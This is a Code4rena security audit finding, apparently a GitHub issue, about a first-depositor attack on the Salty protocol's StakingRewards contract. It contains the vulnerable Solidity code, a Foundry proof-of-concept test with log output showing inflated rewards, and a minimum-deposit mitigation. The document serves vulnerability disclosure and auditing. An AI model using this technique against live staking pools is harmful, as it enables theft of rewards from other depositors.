code-423n4 / 2024-01-salty-findings

11 stars 6 forks source link

The first user deposits 1 wei to the pool to attack the pool #667

Closed c4-bot-8 closed 9 months ago

c4-bot-8 commented 9 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L81

Vulnerability details

Impact

The first user deposits 1 wei to the pool to attack the pool.

Proof of Concept

The calculations of virtualRewardsToAdd in the _increaseUserShare function are as follows:

    uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );

Thus, when existingTotalShares equal 1, virtualRewardsToAdd becomes large. totalRewards[poolID], which also becomes a large value.

But the problem is, userReward is calculated by dividing by totalShares[poolID], totalShares is a very small value, So when the totalRewards increase, the userReward increase very quickly

    function userRewardForPool( address wallet, bytes32 poolID ) public view returns (uint256)
        {
        ....
        uint256 rewardsShare = ( totalRewards[poolID] * user.userShare ) / totalShares[poolID];
        if ( user.virtualRewards > rewardsShare )
            return 0;
        return rewardsShare - user.virtualRewards;
        }

The test scenario is as follows:

  1. SALTRewards with 1000 ether is added during pool initialization.
  2. The first user, Alice, deposits 1 wei
  3. The second user, Bob, deposits 1 ether
  4. The third user, Charlie, deposits 2 ether
  5. Now Charlie's userReward is 113427455640312821230 ether!
  function testUserRewards11() public {
        AddedReward[] memory addedRewards = new AddedReward[](2);
        addedRewards[0] = AddedReward(poolIDs[0], 1000 ether);
        staking.addSALTRewards(addedRewards);

        vm.prank(alice);
        staking.stakeSALT(1);

        console.log("alice:");
        console.log(staking.userXSalt(alice));
        console.log(staking.userVirtualRewardsForPool(alice, PoolUtils.STAKED_SALT));
        console.log(staking.userRewardForPool(alice, PoolUtils.STAKED_SALT)/1 ether);

        vm.prank(bob);
        staking.stakeSALT(1 ether);

        console.log("bob:");
        console.log(staking.userXSalt(bob));
        console.log(staking.userVirtualRewardsForPool(bob, PoolUtils.STAKED_SALT));
        console.log(staking.userRewardForPool(bob, PoolUtils.STAKED_SALT)/1 ether);

        vm.prank(charlie);
        staking.stakeSALT(2 ether);

        console.log("charlie:");
        console.log(staking.userXSalt(charlie));
        console.log(staking.userVirtualRewardsForPool(charlie, PoolUtils.STAKED_SALT));
        console.log(staking.userRewardForPool(charlie, PoolUtils.STAKED_SALT)/1 ether);
    }
Running 1 test for src/staking/tests/Staking.t.sol:StakingTest
[PASS] testUserRewards11() (gas: 285826)
Logs:
  alice:
  1
  0
  1000
  bob:
  1000000000000000000
  319435266158123073073250785136463577088
  680
  charlie:
  2000000000000000000
  298588165395307684044256430524912795213
  113427455640312821230

Tools Used

vscode, manual

Recommended Mitigation Steps

Limit the minimum deposit amount.

Assessed type

Error

c4-judge commented 8 months ago

Picodes marked the issue as satisfactory